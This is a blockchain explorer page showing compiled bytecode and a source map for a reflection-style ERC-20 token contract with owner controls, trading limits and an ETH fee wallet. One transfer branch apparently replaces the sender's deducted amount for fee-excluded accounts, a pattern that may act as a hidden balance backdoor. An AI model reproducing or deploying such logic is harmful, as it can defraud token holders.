44820152687468616e207a65726f60b81b606482015260840161038e565b6000546001600160a01b03848116911614801590610a6957506000546001600160a01b03838116911614155b15610c7657600d546001600160a01b038481169116148015610a995750600c546001600160a01b03838116911614155b8015610abe57506001600160a01b03821660009081526007602052604090205460ff16155b8015610ad35750600d54600160b81b900460ff165b15610bd857600e54811115610b2a5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161038e565b60105481610b3784610342565b610b419190611527565b1115610b8f5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161038e565b6001600160a01b0382166000908152600860205260409020544211610bb357600080fd5b610bbe42601e611527565b6001600160a01b0383166000908152600860205260409020555b6000610be330610342565b600d54909150600160a81b900460ff16158015610c1957506001600160a01b03841660009081526007602052604090205460ff16155b8015610c325750600d546001600160a01b038481169116145b8015610c475750600d54600160b01b900460ff165b8015610c545750600f5482115b15610c7457610c6281610da2565b478015610c7257610c7247610f1c565b505b505b610c81838383610f56565b505050565b60008184841115610caa5760405162461bcd60e51b815260040161038e9190611346565b506000610cb7848661153a565b95945050505050565b600080610ccb610f61565b9050610cd78382610d60565b9392505050565b600082600003610cf0575060006102d3565b6000610cfc838561154d565b905082610d098583611564565b14610cd75760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161038e565b6000610cd783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610f84565b600d805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610dea57610dea611586565b6001600160a01b03928316602091820292909201810191909152600c54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610e43573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e6791906114a4565b81600181518110610e7a57610e7a611586565b6001600160a01b039283166020918202929092010152600c54610ea091309116846107f1565b600c5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610ed990859060009086903090429060040161159c565b600060405180830381600087803b158015610ef357600080fd5b505af1158015610f07573d6000803e3d6000fd5b5050600d805460ff60a81b1916905550505050565b600b546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156107ed573d6000803e3d6000fd5b610c81838383610fb2565b6000806000610f6e6110fb565b9092509050610f7d8282610d60565b9250505090565b60008183610fa55760405162461bcd60e51b815260040161038e9190611346565b506000610cb78486611564565b600080600080600080610fc48761113b565b6001600160a01b038f16600090815260076020526040902054959b5093995091975095509350915060ff1680156110045750600d54600160a01b900460ff165b15611025576001600160a01b03891660009081526005602052604090205495505b6001600160a01b0389166000908152600460205260409020546110489087611198565b6001600160a01b03808b1660009081526004602052604080822093909355908a168152205461107790866111da565b6001600160a01b03891660009081526004602052604090205561109981611239565b6110a38483611283565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516110e891815260200190565b60405180910390a3505050505050505050565b6002546000908190670de0b6b3a76400006111168282610d60565b82101561113257505060025492670de0b6b3a764000092509050565b90939092509050565b60008060008060008060008060006111588a600954600a546112a7565b9250925092506000611168610f61565b9050600080600061117b8e8787876112f6565b919e509c509a509598509396509194505050505091939550919395565b6000610cd783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610c86565b6000806111e78385611527565b905083811015610cd75760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161038e565b6000611243610f61565b905060006112518383610cde565b3060009081526004602052604090205490915061126e90826111da565b30600090815260046020526040902055505050565b6002546112909083611198565b6002556003546112a090826111da565b6003555050565b60008080806112bb606461073c8989610cde565b905060006112ce606461073c8a89610cde565b905060006112e6826112e08b86611198565b90611198565b9992985090965090945050505050565b60008080806113058886610cde565b905060006113138887610cde565b905060006113218888610cde565b90506000611333826112e08686611198565b939b939a50919850919650505050505050565b600060208083528351808285015260005b8181101561137357858101830151858201604001528201611357565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146113a957600080fd5b50565b600080604083850312156113bf57600080fd5b82356113ca81611394565b946020939093013593505050565b6000806000606084860312156113ed57600080fd5b83356113f881611394565b9250602084013561140881611394565b929592945050506040919091013590565b60006020828403121561142b57600080fd5b8135610cd781611394565b6000806040838503121561144957600080fd5b823561145481611394565b9150602083013561146481611394565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000602082840312156114b657600080fd5b8151610cd781611394565b6000806000606084860312156114d657600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561150157600080fd5b81518015158114610cd757600080fd5b634e487b7160e01b600052601160045260246000fd5b808201808211156102d3576102d3611511565b818103818111156102d3576102d3611511565b80820281158282048414176102d3576102d3611511565b60008261158157634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156115ec5784516001600160a01b0316835293830193918301916001016115c7565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220515ba65ba090d3c81005ad1e817a69e25fb7f05e07a9e3568d8796225f65a81664736f6c63430008130033

Deployed Bytecode Sourcemap

3725:9416:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5421:83;;;;;;;;;;-1:-1:-1;5491:5:0;;;;;;;;;;;;-1:-1:-1;;;5491:5:0;;;;5421:83;;;;;;;:::i;:::-;;;;;;;;6273:161;;;;;;;;;;-1:-1:-1;6273:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6273:161:0;1023:187:1;5698:95:0;;;;;;;;;;-1:-1:-1;3890:15:0;5698:95;;;1361:25:1;;;1349:2;1334:18;5698:95:0;1215:177:1;11383:313:0;;;;;;;;;;-1:-1:-1;11383:313:0;;;;;:::i;:::-;;:::i;5607:83::-;;;;;;;;;;-1:-1:-1;5607:83:0;;4430:1;2000:36:1;;1988:2;1973:18;5607:83:0;1858:184:1;5801:138:0;;;;;;;;;;-1:-1:-1;5801:138:0;;;;;:::i;:::-;;:::i;982:148::-;;;;;;;;;;;;;:::i;:::-;;12377:166;;;;;;;;;;;;;:::i;768:79::-;;;;;;;;;;-1:-1:-1;806:7:0;833:6;768:79;;-1:-1:-1;;;;;833:6:0;;;2445:51:1;;2433:2;2418:18;768:79:0;2299:203:1;5512:87:0;;;;;;;;;;-1:-1:-1;5584:7:0;;;;;;;;;;;;-1:-1:-1;;;5584:7:0;;;;5512:87;;5947:167;;;;;;;;;;-1:-1:-1;5947:167:0;;;;;:::i;:::-;;:::i;8137:875::-;;;;;;;;;;;;;:::i;6122:143::-;;;;;;;;;;-1:-1:-1;6122:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6230:18:0;;;6203:7;6230:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6122:143;6273:161;6348:4;6365:39;388:10;6388:7;6397:6;6365:8;:39::i;:::-;-1:-1:-1;6422:4:0;6273:161;;;;;:::o;11383:313::-;11481:4;11498:36;11508:6;11516:9;11527:6;11498:9;:36::i;:::-;11545:121;11554:6;388:10;11576:89;11614:6;11576:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;11576:19:0;;;;;;:11;:19;;;;;;;;388:10;11576:33;;;;;;;;;;:37;:89::i;:::-;11545:8;:121::i;:::-;-1:-1:-1;11684:4:0;11383:313;;;;;:::o;5801:138::-;-1:-1:-1;;;;;5914:16:0;;5867:7;5914:16;;;:7;:16;;;;;;5894:37;;:19;:37::i;982:148::-;895:6;;-1:-1:-1;;;;;895:6:0;388:10;895:22;887:67;;;;-1:-1:-1;;;887:67:0;;;;;;;:::i;:::-;;;;;;;;;1089:1:::1;1073:6:::0;;1052:40:::1;::::0;-1:-1:-1;;;;;1073:6:0;;::::1;::::0;1052:40:::1;::::0;1089:1;;1052:40:::1;1120:1;1103:19:::0;;-1:-1:-1;;;;;;1103:19:0::1;::::0;;982:148::o;12377:166::-;895:6;;-1:-1:-1;;;;;895:6:0;388:10;895:22;887:67;;;;-1:-1:-1;;;887:67:0;;;;;;;:::i;:::-;3890:15:::1;12430:12;:22:::0;;;12463:14:::1;:24:::0;-1:-1:-1;12498:9:0::1;:13:::0;12534:1:::1;12522:9;:13:::0;12377:166::o;5947:167::-;6025:4;6042:42;388:10;6066:9;6077:6;6042:9;:42::i;8137:875::-;895:6;;-1:-1:-1;;;;;895:6:0;388:10;895:22;887:67;;;;-1:-1:-1;;;887:67:0;;;;;;;:::i;:::-;8201:11:::1;::::0;-1:-1:-1;;;8201:11:0;::::1;;;8200:12;8192:47;;;::::0;-1:-1:-1;;;8192:47:0;;3463:2:1;8192:47:0::1;::::0;::::1;3445:21:1::0;3502:2;3482:18;;;3475:30;3541:25;3521:18;;;3514:53;3584:18;;8192:47:0::1;3261:347:1::0;8192:47:0::1;8361:15;:34:::0;;-1:-1:-1;;;;;;8361:34:0::1;8307:42;8361:34:::0;;::::1;::::0;;;8406:58:::1;8423:4;8307:42:::0;3890:15:::1;8406:8;:58::i;:::-;8509:16;-1:-1:-1::0;;;;;8509:24:0::1;;:26;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;8491:56:0::1;;8556:4;8563:16;-1:-1:-1::0;;;;;8563:21:0::1;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8491:96;::::0;-1:-1:-1;;;;;;8491:96:0::1;::::0;;;;;;-1:-1:-1;;;;;4099:15:1;;;8491:96:0::1;::::0;::::1;4081:34:1::0;4151:15;;4131:18;;;4124:43;4016:18;;8491:96:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8475:13;:112:::0;;-1:-1:-1;;;;;;8475:112:0::1;-1:-1:-1::0;;;;;8475:112:0;;::::1;;::::0;;8598:15:::1;::::0;::::1;:31;8637:21;8668:4;8674:24;8668:4:::0;8674:9:::1;:24::i;:::-;8699:1;8701::::0;8703:7:::1;806::::0;833:6;-1:-1:-1;;;;;833:6:0;;768:79;8703:7:::1;8598:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;8598:129:0;;;-1:-1:-1;;;;;4537:15:1;;;8598:129:0::1;::::0;::::1;4519:34:1::0;4569:18;;;4562:34;;;;4612:18;;;4605:34;;;;4655:18;;;4648:34;4719:15;;;4698:19;;;4691:44;8711:15:0::1;4751:19:1::0;;;4744:35;4453:19;;8598:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;8738:11:0::1;:18:::0;;-1:-1:-1;;;;8767:22:0;-1:-1:-1;;;8767:22:0;;;-1:-1:-1;8815:25:0::1;8835:4;8815:15;3890;8827:2;8815:11;:15::i;:::-;:19:::0;::::1;:25::i;:::-;8800:12;:40:::0;8868:25:::1;8888:4;8868:15;3890;8880:2;8868:11;:15::i;:25::-;8851:14;:42:::0;8904:11:::1;:18:::0;;-1:-1:-1;;;;;;;8904:18:0;::::1;;::::0;;;8971:15:::1;::::0;8933:71:::1;::::0;-1:-1:-1;;;8933:71:0;;-1:-1:-1;;;;;8971:15:0;;::::1;8933:71;::::0;::::1;5275:51:1::0;-1:-1:-1;;5342:18:1;;;5335:34;8940:13:0;;;8933:29:::1;::::0;5248:18:1;;8933:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;8181:831;8137:875::o:0;6442:335::-;-1:-1:-1;;;;;6535:19:0;;6527:68;;;;-1:-1:-1;;;6527:68:0;;5864:2:1;6527:68:0;;;5846:21:1;5903:2;5883:18;;;5876:30;5942:34;5922:18;;;5915:62;-1:-1:-1;;;5993:18:1;;;5986:34;6037:19;;6527:68:0;5662:400:1;6527:68:0;-1:-1:-1;;;;;6614:21:0;;6606:68;;;;-1:-1:-1;;;6606:68:0;;6269:2:1;6606:68:0;;;6251:21:1;6308:2;6288:18;;;6281:30;6347:34;6327:18;;;6320:62;-1:-1:-1;;;6398:18:1;;;6391:32;6440:19;;6606:68:0;6067:398:1;6606:68:0;-1:-1:-1;;;;;6685:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;6737:32;;1361:25:1;;;6737:32:0;;1334:18:1;6737:32:0;;;;;;;6442:335;;;:::o;6785:1344::-;-1:-1:-1;;;;;6873:18:0;;6865:68;;;;-1:-1:-1;;;6865:68:0;;6672:2:1;6865:68:0;;;6654:21:1;6711:2;6691:18;;;6684:30;6750:34;6730:18;;;6723:62;-1:-1:-1;;;6801:18:1;;;6794:35;6846:19;;6865:68:0;6470:401:1;6865:68:0;-1:-1:-1;;;;;6952:16:0;;6944:64;;;;-1:-1:-1;;;6944:64:0;;7078:2:1;6944:64:0;;;7060:21:1;7117:2;7097:18;;;7090:30;7156:34;7136:18;;;7129:62;-1:-1:-1;;;7207:18:1;;;7200:33;7250:19;;6944:64:0;6876:399:1;6944:64:0;7036:1;7027:6;:10;7019:64;;;;-1:-1:-1;;;7019:64:0;;7482:2:1;7019:64:0;;;7464:21:1;7521:2;7501:18;;;7494:30;7560:34;7540:18;;;7533:62;-1:-1:-1;;;7611:18:1;;;7604:39;7660:19;;7019:64:0;7280:405:1;7019:64:0;806:7;833:6;-1:-1:-1;;;;;7098:15:0;;;833:6;;7098:15;;;;:32;;-1:-1:-1;806:7:0;833:6;-1:-1:-1;;;;;7117:13:0;;;833:6;;7117:13;;7098:32;7094:983;;;7159:13;;-1:-1:-1;;;;;7151:21:0;;;7159:13;;7151:21;:55;;;;-1:-1:-1;7190:15:0;;-1:-1:-1;;;;;7176:30:0;;;7190:15;;7176:30;;7151:55;:83;;;;-1:-1:-1;;;;;;7212:22:0;;;;;;:18;:22;;;;;;;;7210:24;7151:83;:102;;;;-1:-1:-1;7238:15:0;;-1:-1:-1;;;7238:15:0;;;;7151:102;7147:452;;;7321:12;;7311:6;:22;;7303:60;;;;-1:-1:-1;;;7303:60:0;;7892:2:1;7303:60:0;;;7874:21:1;7931:2;7911:18;;;7904:30;7970:27;7950:18;;;7943:55;8015:18;;7303:60:0;7690:349:1;7303:60:0;7416:14;;7406:6;7390:13;7400:2;7390:9;:13::i;:::-;:22;;;;:::i;:::-;:40;;7382:79;;;;-1:-1:-1;;;7382:79:0;;8508:2:1;7382:79:0;;;8490:21:1;8547:2;8527:18;;;8520:30;8586:28;8566:18;;;8559:56;8632:18;;7382:79:0;8306:350:1;7382:79:0;-1:-1:-1;;;;;7488:12:0;;;;;;:8;:12;;;;;;7503:15;-1:-1:-1;7480:39:0;;;;;;7553:30;:15;7572:10;7553:30;:::i;:::-;-1:-1:-1;;;;;7538:12:0;;;;;;:8;:12;;;;;:45;7147:452;7627:28;7658:24;7676:4;7658:9;:24::i;:::-;7702:6;;7627:55;;-1:-1:-1;;;;7702:6:0;;;;7701:7;:36;;;;-1:-1:-1;;;;;;7713:24:0;;;;;;:18;:24;;;;;;;;7712:25;7701:36;:59;;;;-1:-1:-1;7747:13:0;;-1:-1:-1;;;;;7741:19:0;;;7747:13;;7741:19;7701:59;:74;;;;-1:-1:-1;7764:11:0;;-1:-1:-1;;;7764:11:0;;;;7701:74;:98;;;;;7788:11;;7779:6;:20;7701:98;7697:369;;;7820:38;7837:20;7820:16;:38::i;:::-;7906:21;7949:22;;7946:105;;7996:35;8009:21;7996:12;:35::i;:::-;7801:265;7697:369;7132:945;7094:983;8091:30;8106:4;8111:2;8114:6;8091:14;:30::i;:::-;6785:1344;;;:::o;1496:190::-;1582:7;1618:12;1610:6;;;;1602:29;;;;-1:-1:-1;;;1602:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1642:9:0;1654:5;1658:1;1654;:5;:::i;:::-;1642:17;1496:190;-1:-1:-1;;;;;1496:190:0:o;11708:170::-;11775:7;11795:19;11818:10;:8;:10::i;:::-;11795:33;-1:-1:-1;11846:24:0;:7;11795:33;11846:11;:24::i;:::-;11839:31;11708:170;-1:-1:-1;;;11708:170:0:o;1694:246::-;1752:7;1776:1;1781;1776:6;1772:47;;-1:-1:-1;1806:1:0;1799:8;;1772:47;1829:9;1841:5;1845:1;1841;:5;:::i;:::-;1829:17;-1:-1:-1;1874:1:0;1865:5;1869:1;1829:17;1865:5;:::i;:::-;:10;1857:56;;;;-1:-1:-1;;;1857:56:0;;9391:2:1;1857:56:0;;;9373:21:1;9430:2;9410:18;;;9403:30;9469:34;9449:18;;;9442:62;-1:-1:-1;;;9520:18:1;;;9513:31;9561:19;;1857:56:0;9189:397:1;1948:132:0;2006:7;2033:39;2037:1;2040;2033:39;;;;;;;;;;;;;;;;;:3;:39::i;11886:483::-;5043:6;:13;;-1:-1:-1;;;;5043:13:0;-1:-1:-1;;;5043:13:0;;;11988:16:::1;::::0;;12002:1:::1;11988:16:::0;;;;;::::1;::::0;;-1:-1:-1;;11988:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;11988:16:0::1;11964:40;;12033:4;12015;12020:1;12015:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12015:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;12059:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;12059:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;12015:7;;12059:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12049:4;12054:1;12049:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12049:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;12124:15:::1;::::0;12092:62:::1;::::0;12109:4:::1;::::0;12124:15:::1;12142:11:::0;12092:8:::1;:62::i;:::-;12165:15;::::0;:196:::1;::::0;-1:-1:-1;;;12165:196:0;;-1:-1:-1;;;;;12165:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;12246:11;;12165:15:::1;::::0;12288:4;;12315::::1;::::0;12335:15:::1;::::0;12165:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5079:6:0;:14;;-1:-1:-1;;;;5079:14:0;;;-1:-1:-1;;;;11886:483:0:o;12559:98::-;12616:16;;:33;;-1:-1:-1;;;;;12616:16:0;;;;:33;;;;;12642:6;;12616:16;:33;:16;:33;12642:6;12616:16;:33;;;;;;;;;;;;;;;;;;;10238:146;10332:44;10350:6;10358:9;10369:6;10332:17;:44::i;9793:163::-;9834:7;9855:15;9872;9891:19;:17;:19::i;:::-;9854:56;;-1:-1:-1;9854:56:0;-1:-1:-1;9928:20:0;9854:56;;9928:11;:20::i;:::-;9921:27;;;;9793:163;:::o;2088:189::-;2174:7;2209:12;2202:5;2194:28;;;;-1:-1:-1;;;2194:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2233:9:0;2245:5;2249:1;2245;:5;:::i;10392:571::-;10491:15;10508:23;10533:12;10547:23;10572:12;10586:13;10603:19;10614:7;10603:10;:19::i;:::-;-1:-1:-1;;;;;10637:26:0;;;;;;:18;:26;;;;;;10490:132;;-1:-1:-1;10490:132:0;;-1:-1:-1;10490:132:0;;-1:-1:-1;10490:132:0;-1:-1:-1;10490:132:0;-1:-1:-1;10490:132:0;-1:-1:-1;10637:26:0;;:41;;;;-1:-1:-1;10667:11:0;;-1:-1:-1;;;10667:11:0;;;;10637:41;10633:72;;;-1:-1:-1;;;;;10690:15:0;;;;;;:7;:15;;;;;;;-1:-1:-1;10633:72:0;-1:-1:-1;;;;;10734:15:0;;;;;;:7;:15;;;;;;:28;;10754:7;10734:19;:28::i;:::-;-1:-1:-1;;;;;10716:15:0;;;;;;;:7;:15;;;;;;:46;;;;10794:18;;;;;;;:39;;10817:15;10794:22;:39::i;:::-;-1:-1:-1;;;;;10773:18:0;;;;;;:7;:18;;;;;:60;10845:16;10855:5;10845:9;:16::i;:::-;10872:23;10884:4;10890;10872:11;:23::i;:::-;10928:9;-1:-1:-1;;;;;10911:44:0;10920:6;-1:-1:-1;;;;;10911:44:0;;10939:15;10911:44;;;;1361:25:1;;1349:2;1334:18;;1215:177;10911:44:0;;;;;;;;10479:484;;;;;;10392:571;;;:::o;9964:262::-;10061:7;;10014;;;;3890:15;10135:20;10061:7;3890:15;10135:11;:20::i;:::-;10125:7;:30;10121:61;;;-1:-1:-1;;10165:7:0;;;3890:15;;-1:-1:-1;9964:262:0;-1:-1:-1;9964:262:0:o;10121:61::-;10201:7;;10210;;-1:-1:-1;9964:262:0;-1:-1:-1;9964:262:0:o;12667:471::-;12726:7;12735;12744;12753;12762;12771;12792:23;12817:12;12831:13;12848:42;12860:7;12869:9;;12880;;12848:11;:42::i;:::-;12791:99;;;;;;12901:19;12924:10;:8;:10::i;:::-;12901:33;;12946:15;12963:23;12988:12;13004:46;13016:7;13025:4;13031:5;13038:11;13004;:46::i;:::-;12945:105;;-1:-1:-1;12945:105:0;-1:-1:-1;12945:105:0;-1:-1:-1;13101:15:0;;-1:-1:-1;13118:4:0;;-1:-1:-1;13124:5:0;;-1:-1:-1;;;;;12667:471:0;;;;;;;:::o;1352:136::-;1410:7;1437:43;1441:1;1444;1437:43;;;;;;;;;;;;;;;;;:3;:43::i;1165:179::-;1223:7;;1255:5;1259:1;1255;:5;:::i;:::-;1243:17;;1284:1;1279;:6;;1271:46;;;;-1:-1:-1;;;1271:46:0;;11042:2:1;1271:46:0;;;11024:21:1;11081:2;11061:18;;;11054:30;11120:29;11100:18;;;11093:57;11167:18;;1271:46:0;10840:351:1;10971:212:0;11024:19;11047:10;:8;:10::i;:::-;11024:33;-1:-1:-1;11068:13:0;11084:22;:5;11024:33;11084:9;:22::i;:::-;11158:4;11142:22;;;;:7;:22;;;;;;11068:38;;-1:-1:-1;11142:33:0;;11068:38;11142:26;:33::i;:::-;11133:4;11117:22;;;;:7;:22;;;;;:58;-1:-1:-1;;;10971:212:0:o;11191:147::-;11269:7;;:17;;11281:4;11269:11;:17::i;:::-;11259:7;:27;11310:10;;:20;;11325:4;11310:14;:20::i;:::-;11297:10;:33;-1:-1:-1;;11191:147:0:o;9020:351::-;9113:7;;;;9166:28;9190:3;9166:19;:7;9178:6;9166:11;:19::i;:28::-;9151:43;-1:-1:-1;9205:13:0;9221:29;9246:3;9221:20;:7;9233;9221:11;:20::i;:29::-;9205:45;-1:-1:-1;9261:23:0;9287:28;9205:45;9287:17;:7;9299:4;9287:11;:17::i;:::-;:21;;:28::i;:::-;9261:54;9351:4;;-1:-1:-1;9357:5:0;;-1:-1:-1;9020:351:0;;-1:-1:-1;;;;;9020:351:0:o;9379:409::-;9489:7;;;;9545:24;:7;9557:11;9545;:24::i;:::-;9527:42;-1:-1:-1;9580:12:0;9595:21;:4;9604:11;9595:8;:21::i;:::-;9580:36;-1:-1:-1;9627:13:0;9643:22;:5;9653:11;9643:9;:22::i;:::-;9627:38;-1:-1:-1;9676:23:0;9702:28;9627:38;9702:17;:7;9714:4;9702:11;:17::i;:28::-;9749:7;;;;-1:-1:-1;9775:4:0;;-1:-1:-1;9379:409:0;;-1:-1:-1;;;;;;;9379:409:0:o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258:5;2233:31;:::i;2507:388::-;2575:6;2583;2636:2;2624:9;2615:7;2611:23;2607:32;2604:52;;;2652:1;2649;2642:12;2604:52;2691:9;2678:23;2710:31;2735:5;2710:31;:::i;:::-;2760:5;-1:-1:-1;2817:2:1;2802:18;;2789:32;2830:33;2789:32;2830:33;:::i;:::-;2882:7;2872:17;;;2507:388;;;;;:::o;2900:356::-;3102:2;3084:21;;;3121:18;;;3114:30;3180:34;3175:2;3160:18;;3153:62;3247:2;3232:18;;2900:356::o;3613:251::-;3683:6;3736:2;3724:9;3715:7;3711:23;3707:32;3704:52;;;3752:1;3749;3742:12;3704:52;3784:9;3778:16;3803:31;3828:5;3803:31;:::i;4790:306::-;4878:6;4886;4894;4947:2;4935:9;4926:7;4922:23;4918:32;4915:52;;;4963:1;4960;4953:12;4915:52;4992:9;4986:16;4976:26;;5042:2;5031:9;5027:18;5021:25;5011:35;;5086:2;5075:9;5071:18;5065:25;5055:35;;4790:306;;;;;:::o;5380:277::-;5447:6;5500:2;5488:9;5479:7;5475:23;5471:32;5468:52;;;5516:1;5513;5506:12;5468:52;5548:9;5542:16;5601:5;5594:13;5587:21;5580:5;5577:32;5567:60;;5623:1;5620;5613:12;8044:127;8105:10;8100:3;8096:20;8093:1;8086:31;8136:4;8133:1;8126:15;8160:4;8157:1;8150:15;8176:125;8241:9;;;8262:10;;;8259:36;;;8275:18;;:::i;8661:128::-;8728:9;;;8749:11;;;8746:37;;;8763:18;;:::i;8794:168::-;8867:9;;;8898;;8915:15;;;8909:22;;8895:37;8885:71;;8936:18;;:::i;8967:217::-;9007:1;9033;9023:132;;9077:10;9072:3;9068:20;9065:1;9058:31;9112:4;9109:1;9102:15;9140:4;9137:1;9130:15;9023:132;-1:-1:-1;9169:9:1;;8967:217::o;9723:127::-;9784:10;9779:3;9775:20;9772:1;9765:31;9815:4;9812:1;9805:15;9839:4;9836:1;9829:15;9855:980;10117:4;10165:3;10154:9;10150:19;10196:6;10185:9;10178:25;10222:2;10260:6;10255:2;10244:9;10240:18;10233:34;10303:3;10298:2;10287:9;10283:18;10276:31;10327:6;10362;10356:13;10393:6;10385;10378:22;10431:3;10420:9;10416:19;10409:26;;10470:2;10462:6;10458:15;10444:29;;10491:1;10501:195;10515:6;10512:1;10509:13;10501:195;;;10580:13;;-1:-1:-1;;;;;10576:39:1;10564:52;;10671:15;;;;10636:12;;;;10612:1;10530:9;10501:195;;;-1:-1:-1;;;;;;;10752:32:1;;;;10747:2;10732:18;;10725:60;-1:-1:-1;;;10816:3:1;10801:19;10794:35;10713:3;9855:980;-1:-1:-1;;;9855:980:1:o

Swarm Source

ipfs://515ba65ba090d3c81005ad1e817a69e25fb7f05e07a9e3568d8796225f65a816
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.